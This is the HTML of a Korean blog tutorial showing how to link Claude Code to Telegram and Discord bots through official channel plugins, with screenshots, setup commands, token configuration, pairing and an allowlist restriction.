&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dc16Sl/dJMb996hRCg/h7pHOvwDgopaix1c6yVPR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dc16Sl/dJMb996hRCg/h7pHOvwDgopaix1c6yVPR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dc16Sl/dJMb996hRCg/h7pHOvwDgopaix1c6yVPR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdc16Sl%2FdJMb996hRCg%2Fh7pHOvwDgopaix1c6yVPR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;289&quot; height=&quot;210&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 30px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;darr;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;채팅창에&lt;span&gt;&amp;nbsp;&lt;/span&gt;/newbot&lt;span&gt;&amp;nbsp;&lt;/span&gt;입력 후 전송&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPYJz0/dJMcacopRUe/x55Fjtk28WP3eP84kKAAjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPYJz0/dJMcacopRUe/x55Fjtk28WP3eP84kKAAjK/img.png&quot; id=&quot;kEditorPhotosEditingImage-3&quot; style=&quot;width: 50.7913%; margin-right: 10px;&quot; width=&quot;520&quot; height=&quot;1094&quot; data-widthpercent=&quot;51.39&quot; data-filename=&quot;blob&quot; data-origin-height=&quot;700&quot; data-origin-width=&quot;300&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPYJz0/dJMcacopRUe/x55Fjtk28WP3eP84kKAAjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPYJz0%2FdJMcacopRUe%2Fx55Fjtk28WP3eP84kKAAjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;700&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEtGEV/dJMcafSYf6d/rfmZ3z9K0XeaxTivAfKX3K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEtGEV/dJMcafSYf6d/rfmZ3z9K0XeaxTivAfKX3K/img.jpg&quot; id=&quot;kEditorPhotosEditingImage-4&quot; style=&quot;width: 48.0459%;&quot; data-widthpercent=&quot;48.61&quot; data-filename=&quot;KakaoTalk_Photo_2026-01-29-00-32-56 002.jpeg&quot; data-origin-height=&quot;2664&quot; data-origin-width=&quot;1080&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEtGEV/dJMcafSYf6d/rfmZ3z9K0XeaxTivAfKX3K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEtGEV%2FdJMcafSYf6d%2FrfmZ3z9K0XeaxTivAfKX3K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;2664&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 30px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;darr;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;BotFather가 질문하면 답변 입력&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 50px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &quot;봇 이름?&quot; &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;My claude_code_bot&lt;span&gt;&amp;nbsp;&lt;/span&gt;(자유롭게)&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 50px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &quot;봇 username?&quot; &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;my_claude_code_bot&lt;span&gt;&amp;nbsp;&lt;/span&gt;(반드시&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;bot&lt;/b&gt;으로 끝나야 함)&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 30px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;darr;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #28a745;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 5:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;토큰 발급 완료! (채팅으로 토큰이 표시됨)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;KakaoTalk_Photo_2026-01-29-00-33-02.jpeg&quot; data-origin-width=&quot;864&quot; data-origin-height=&quot;1410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpHJJk/dJMcac2XQaq/XOjouKcyjVF3Mj5S25RbIk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpHJJk/dJMcac2XQaq/XOjouKcyjVF3Mj5S25RbIk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpHJJk/dJMcac2XQaq/XOjouKcyjVF3Mj5S25RbIk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpHJJk%2FdJMcac2XQaq%2FXOjouKcyjVF3Mj5S25RbIk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;388&quot; height=&quot;633&quot; data-filename=&quot;KakaoTalk_Photo_2026-01-29-00-33-02.jpeg&quot; data-origin-width=&quot;864&quot; data-origin-height=&quot;1410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2.&lt;/b&gt; Claude Code에서 플러그인을 설치한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Telegram 플러그인 설치
/plugin install telegram@claude-plugins-official

# &quot;plugin not found&quot; 오류가 나면 마켓플레이스를 추가/갱신 후 재시도
/plugin marketplace add anthropics/claude-plugins-official   # 마켓플레이스가 없는 경우
/plugin marketplace update claude-plugins-official           # 이미 있지만 오래된 경우

# claude code를 재기동 하자.

# BotFather에서 받은 토큰으로 설정
/telegram:configure &amp;lt;YOUR_BOT_TOKEN&amp;gt;

# 설치 후 반드시 실행 &amp;mdash; configure 커맨드를 활성화한다
/reload-plugins&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;/plugin&amp;nbsp;install&amp;nbsp;telegram@claude-plugins-official&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbmuMV/dJMcafeWR0h/P4tekuVSjMieYRLQEnXnX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbmuMV/dJMcafeWR0h/P4tekuVSjMieYRLQEnXnX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbmuMV/dJMcafeWR0h/P4tekuVSjMieYRLQEnXnX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbmuMV%2FdJMcafeWR0h%2FP4tekuVSjMieYRLQEnXnX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;496&quot; height=&quot;54&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이후 난 claude code 세션을 종료하고 다시 시작하였다.&amp;nbsp; 이후 다음 명령어로 설정&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;/telegram:configure&amp;nbsp;&amp;lt;YOUR_BOT_TOKEN&amp;gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;380&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vc2DZ/dJMcacoXmW8/CpWPh1EeKl9YtuBvTyEcS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vc2DZ/dJMcacoXmW8/CpWPh1EeKl9YtuBvTyEcS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vc2DZ/dJMcacoXmW8/CpWPh1EeKl9YtuBvTyEcS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvc2DZ%2FdJMcacoXmW8%2FCpWPh1EeKl9YtuBvTyEcS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;388&quot; height=&quot;166&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;380&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1682&quot; data-origin-height=&quot;762&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Sx9Sc/dJMcaaEG7GY/6hKINWBGZxkL9EDK3P9Yqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Sx9Sc/dJMcaaEG7GY/6hKINWBGZxkL9EDK3P9Yqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Sx9Sc/dJMcaaEG7GY/6hKINWBGZxkL9EDK3P9Yqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSx9Sc%2FdJMcaaEG7GY%2F6hKINWBGZxkL9EDK3P9Yqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1682&quot; height=&quot;762&quot; data-origin-width=&quot;1682&quot; data-origin-height=&quot;762&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3.&lt;/b&gt; Channels 플래그로 Claude Code를 시작한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;claude --channels plugin:telegram@claude-plugins-official&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1954&quot; data-origin-height=&quot;490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXbQ92/dJMcagSqXYC/jhOvoyYkYJJ7qPp5Rw5UEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXbQ92/dJMcagSqXYC/jhOvoyYkYJJ7qPp5Rw5UEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXbQ92/dJMcagSqXYC/jhOvoyYkYJJ7qPp5Rw5UEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXbQ92%2FdJMcagSqXYC%2FjhOvoyYkYJJ7qPp5Rw5UEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1954&quot; height=&quot;490&quot; data-origin-width=&quot;1954&quot; data-origin-height=&quot;490&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4.&lt;/b&gt; Telegram에서 봇에게 아무 메시지나 보내면 &lt;b&gt;페어링 코드&lt;/b&gt;가 발급된다. Claude Code에서 다음 커맨드로 연결을 완료하고, 즉시 allowlist 모드로 전환해 다른 사람의 접근을 차단한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 페어링 코드로 내 계정을 봇에 연결
/telegram:access pair &amp;lt;code&amp;gt;

# 보안: 즉시 allowlist 모드로 전환 (본인 외 접근 차단)
/telegram:access policy allowlist&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;팁: 파일 첨부 지원&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;텔레그램에서 Claude Code로 이미지를 보낼 수 있다 &amp;mdash; 모바일 앱 디버깅 중 스크린샷을 보내는 용도로 유용하다. 반대로 Claude도 파일을 텔레그램으로 보낼 수 있으며, 이미지는 인라인 렌더링, 기타 파일은 문서로 전송된다 (파일당 50MB 제한 &amp;mdash; Telegram Bot API 기준).&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) /mybots &amp;gt; 여러가지 봇들중 방금 추가한 봇 클릭 &amp;gt; @방금만든봇 클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1660&quot; data-origin-height=&quot;2006&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dCMYMT/dJMb996PUkT/rbOAHUTdlUKB6BT69v4oI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dCMYMT/dJMb996PUkT/rbOAHUTdlUKB6BT69v4oI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dCMYMT/dJMb996PUkT/rbOAHUTdlUKB6BT69v4oI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdCMYMT%2FdJMb996PUkT%2FrbOAHUTdlUKB6BT69v4oI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;379&quot; height=&quot;458&quot; data-origin-width=&quot;1660&quot; data-origin-height=&quot;2006&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- /start 입력 또는 클릭 &amp;gt; 아무말이나 걸면 pair 코드를 발급해 준다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;2018&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vFyO5/dJMcafMMiu5/SFVwIog3DWNgd7YDJPrFk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vFyO5/dJMcafMMiu5/SFVwIog3DWNgd7YDJPrFk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vFyO5/dJMcafMMiu5/SFVwIog3DWNgd7YDJPrFk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvFyO5%2FdJMcafMMiu5%2FSFVwIog3DWNgd7YDJPrFk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;384&quot; height=&quot;501&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;2018&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 상기 명령어를 그대로 복사하여 붙여넣으면 알아서 세팅을 진행한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0fJlY/dJMcadH7sKX/FeBSsfwUfRqbMV8mow7aK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0fJlY/dJMcadH7sKX/FeBSsfwUfRqbMV8mow7aK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0fJlY/dJMcadH7sKX/FeBSsfwUfRqbMV8mow7aK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0fJlY%2FdJMcadH7sKX%2FFeBSsfwUfRqbMV8mow7aK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;416&quot; height=&quot;189&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;552&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z6zdl/dJMcagdPH09/g6DpehOkASu3Dd1j4I4u21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z6zdl/dJMcagdPH09/g6DpehOkASu3Dd1j4I4u21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z6zdl/dJMcagdPH09/g6DpehOkASu3Dd1j4I4u21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz6zdl%2FdJMcagdPH09%2Fg6DpehOkASu3Dd1j4I4u21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;261&quot; height=&quot;87&quot; data-origin-width=&quot;552&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 페어링 완료. 바로 테스트 해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 텔레그램에서 먼저 인사를 해보자. 방가 방가 / 답변이 오는것을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1287&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhrcam/dJMcaakm8pU/OwiOeQzoHDjLP5hY9YGpB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhrcam/dJMcaakm8pU/OwiOeQzoHDjLP5hY9YGpB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhrcam/dJMcaakm8pU/OwiOeQzoHDjLP5hY9YGpB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbhrcam%2FdJMcaakm8pU%2FOwiOeQzoHDjLP5hY9YGpB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;377&quot; height=&quot;449&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1287&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 내 PC의 claude code로 돌아가봐도 양쪽으로 메세지가 오가는 모습, 즉 연결된것을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baWuHC/dJMcagEUIgK/csgzsKC3kKdnQyzRczCjd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baWuHC/dJMcagEUIgK/csgzsKC3kKdnQyzRczCjd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baWuHC/dJMcagEUIgK/csgzsKC3kKdnQyzRczCjd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaWuHC%2FdJMcagEUIgK%2FcsgzsKC3kKdnQyzRczCjd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1876&quot; height=&quot;254&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;254&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Discord 설정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1.&lt;/b&gt; &lt;a href=&quot;https://discord.com/developers/applications&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Discord Developer Portal&lt;/a&gt;에서 New Application 클릭. 이름 설정 후 Bot 메뉴에서 토큰 생성. &lt;b&gt;Privileged Gateway Intents&lt;/b&gt;에서 &lt;code&gt;Message Content Intent&lt;/code&gt;를 반드시 활성화한다 &amp;mdash; 이것 없이는 봇이 메시지 내용을 읽을 수 없다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2.&lt;/b&gt; OAuth2 &amp;gt; URL Generator에서 &lt;code&gt;bot&lt;/code&gt; 스코프를 선택하고 필요한 권한을 설정한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;View Channels, Send Messages, Send Messages in Threads&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Read Message History, Attach Files, Add Reactions&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;생성된 URL로 봇을 서버에 초대한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3.&lt;/b&gt; Claude Code에서 설치 및 설정:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Discord 플러그인 설치
/plugin install discord@claude-plugins-official

# &quot;plugin not found&quot; 오류가 나면 마켓플레이스를 추가/갱신 후 재시도
/plugin marketplace add anthropics/claude-plugins-official   # 마켓플레이스가 없는 경우
/plugin marketplace update claude-plugins-official           # 이미 있지만 오래된 경우

# 설치 후 반드시 실행 &amp;mdash; configure 커맨드를 활성화한다
/reload-plugins

# 봇 토큰 설정
/discord:configure &amp;lt;YOUR_BOT_TOKEN&amp;gt;

# Channels 플래그로 시작
claude --channels plugin:discord@claude-plugins-official&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
